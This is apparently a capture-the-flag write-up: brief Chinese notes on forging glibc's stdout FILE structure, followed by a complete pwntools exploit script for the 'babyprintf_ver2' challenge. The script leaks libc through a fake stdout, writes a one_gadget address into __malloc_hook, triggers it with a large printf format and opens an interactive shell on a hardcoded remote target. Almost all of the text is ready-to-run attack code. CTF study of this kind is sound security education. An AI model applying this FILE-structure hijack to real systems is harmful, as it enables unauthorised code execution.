可以覆盖stdout,因为可以伪造一个IO_stdout来做事: * 可以伪造stdout的flags,使其从_IO_write_base的地址开始泄露,从而泄露libc * 可以伪造stdout的_IO_write_ptr,其他指针清零,可以往_IO_write_ptr内存的地方写
第一次知道stdout还可以解发写操作
最后,通过printf来触发malloc(),从而触发malloc_hook。
伪造IO的函数,可以复用。
#!/usr/bin/env python2
# coding: utf-8
# Usage: ./exploit.py -r/-l/-d
from pwn import *
import argparse
import itertools
import time
import os
# IP = "52.68.236.186"
# PORT = 56746
IP = "150.109.46.159"
PORT = 20005
one_gg = 0x4f322
context.arch = "amd64"
context.log_level = 'DEBUG'
context.log_level = 'critical'
context.terminal = ['tmux', 'splitw', '-h', '-p', '70']
BIN = "./babyprintf_ver2"
def lg(s, addr):
print('\033[1;31;40m%30s-->0x%x\033[0m' % (s, addr))
def r(x): return io.recv(x)
def ru(x): return io.recvuntil(x)
def rud(x): return io.recvuntil(x, drop=True)
def se(x): return io.send(x)
def sel(x): return io.sendline(x)
def pick32(x): return u32(x[:4].ljust(4, '\0'))
def pick64(x): return u64(x[:8].ljust(8, '\0'))
parser = argparse.ArgumentParser()
parser.add_argument('-d', '--debugger', action='store_true')
parser.add_argument('-r', '--remote', action='store_true')
parser.add_argument('-l', '--local', action='store_true')
args = parser.parse_args()
io = None # this is global process variable
binary = ELF(BIN)
if args.remote:
io = remote(IP, PORT)
rud("Input your token:")
sel("7024ZEBXOyaCi7hWLskq2GKI1NUczUay")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
elif args.local:
# env = {"LD_PRELOAD": os.path.join(os.getcwd(), "libc.so.6")}
env = {}
io = process(BIN, env=env)
proc_base = io.libs()[os.path.abspath(os.path.join(os.getcwd(), BIN))]
libc_bb = io.libs()[
'/lib/x86_64-linux-gnu/libc.so.6']
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
elif args.debugger:
io = gdb.debug(BIN, '''
entry-break
b *0x{:x}
b *0x{:x}
b *0x{:x}
c
b *0x{:x}
p/x &__free_hook
p/x &_IO_2_1_stdout_
p/x 0x00007ffff79e4000 + 0x{:x}
'''.format(
0x555555554000 + 0x0000000000000740, # stdout
0x555555554000 + 0x0000000000000921, # printf
0x555555554000 + 0x00000000000007AE, # stdout compare
0x00007ffff79e4000 + one_gg,
one_gg,
)
)
proc_base = io.libs()[os.path.abspath(os.path.join(os.getcwd(), BIN))]
libc_bb = io.libs()[
'/lib/x86_64-linux-gnu/libc.so.6']
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
parser.print_help()
exit()
def pack_file(_flags=0,
_IO_read_ptr=0,
_IO_read_end=0,
_IO_read_base=0,
_IO_write_base=0,
_IO_write_ptr=0,
_IO_write_end=0,
_IO_buf_base=0,
_IO_buf_end=0,
_IO_save_base=0,
_IO_backup_base=0,
_IO_save_end=0,
_IO_marker=0,
_IO_chain=0,
_fileno=0,
_lock=0,
_wide_data=0,
_mode=0):
file_struct = p32(_flags) + \
p32(0) + \
p64(_IO_read_ptr) + \
p64(_IO_read_end) + \
p64(_IO_read_base) + \
p64(_IO_write_base) + \
p64(_IO_write_ptr) + \
p64(_IO_write_end) + \
p64(_IO_buf_base) + \
p64(_IO_buf_end) + \
p64(_IO_save_base) + \
p64(_IO_backup_base) + \
p64(_IO_save_end) + \
p64(_IO_marker) + \
p64(_IO_chain) + \
p32(_fileno) +\
p32(0) +\
p64(0xffffffffffffffff)
# p64(0x000000000a000000)
file_struct = file_struct.ljust(0x88, "\x00")
file_struct += p64(_lock)
file_struct += p64(0xffffffffffffffff)
file_struct = file_struct.ljust(0xa0, "\x00")
file_struct += p64(_wide_data)
file_struct = file_struct.ljust(0xc0, '\x00')
file_struct += p64(_mode)
file_struct = file_struct.ljust(0xd8, "\x00")
return file_struct
rud(" buffer location to")
printf_bss = int(rud("\n").strip(), 16)
lg("printf bss addr:", printf_bss)
binary.address = printf_bss - 0x0000000000202010
lg("binary base address:", binary.address)
rud("Have fun!")
# new_stdout = 0x0000000000202010 + binary.address - 0xd8
new_stdout = 0x0000000000202010 + binary.address + 0x20
pad = "A"*16 + p64(new_stdout) + "B"*8
file_struct = pack_file(_flags=0x00000000fbad1800,
_IO_read_ptr=0,
_IO_read_base=0,
# _IO_write_base=new_stdout + 0xe3 - 0x60,
_IO_write_base=binary.got["puts"],
_IO_write_ptr=new_stdout + 0xe3 - 0x60,
_IO_write_end=new_stdout + 0xe3 - 0x60,
_IO_buf_base=new_stdout + 0xe3 - 0x60,
_IO_buf_end=new_stdout + 0xe3 - 0x60 + 1,
_mode=0x00000000ffffffff,
_fileno=1,
_lock=new_stdout+0x200,
_wide_data=new_stdout+0x300
)
pad += file_struct
sel(pad)
rud("rewrite vtable is not permitted!\n")
data = io.recv(8)
puts_addr = pick64(data)
libc.address = puts_addr - libc.symbols["puts"]
lg("libc address", libc.address)
pad = "C"*16 + p64(new_stdout) + "D"*8
pad = p64(new_stdout + 0x120 + 7*8)*2 + p64(new_stdout) + "D"*8
pad = p64(one_gg + libc.address)*2 + p64(new_stdout) + "D"*8
file_struct = pack_file(_flags=0x00000000fbad1800,
_IO_read_ptr=0,
_IO_read_base=0,
# _IO_write_base=new_stdout + 0xe3 - 0x60,
_IO_write_base=libc.symbols["__malloc_hook"] - 0x10,
_IO_write_ptr=libc.symbols["__malloc_hook"],
_IO_write_end=libc.symbols["__malloc_hook"] + 0x20,
_IO_buf_base=0,
_IO_buf_end=0,
_mode=0x00000000ffffffff,
_fileno=1,
_lock=new_stdout+0x200,
_wide_data=new_stdout+0x300
)
pad += file_struct
io.sendline(pad[:-1])
io.sendline("%1000000c")
io.interactive()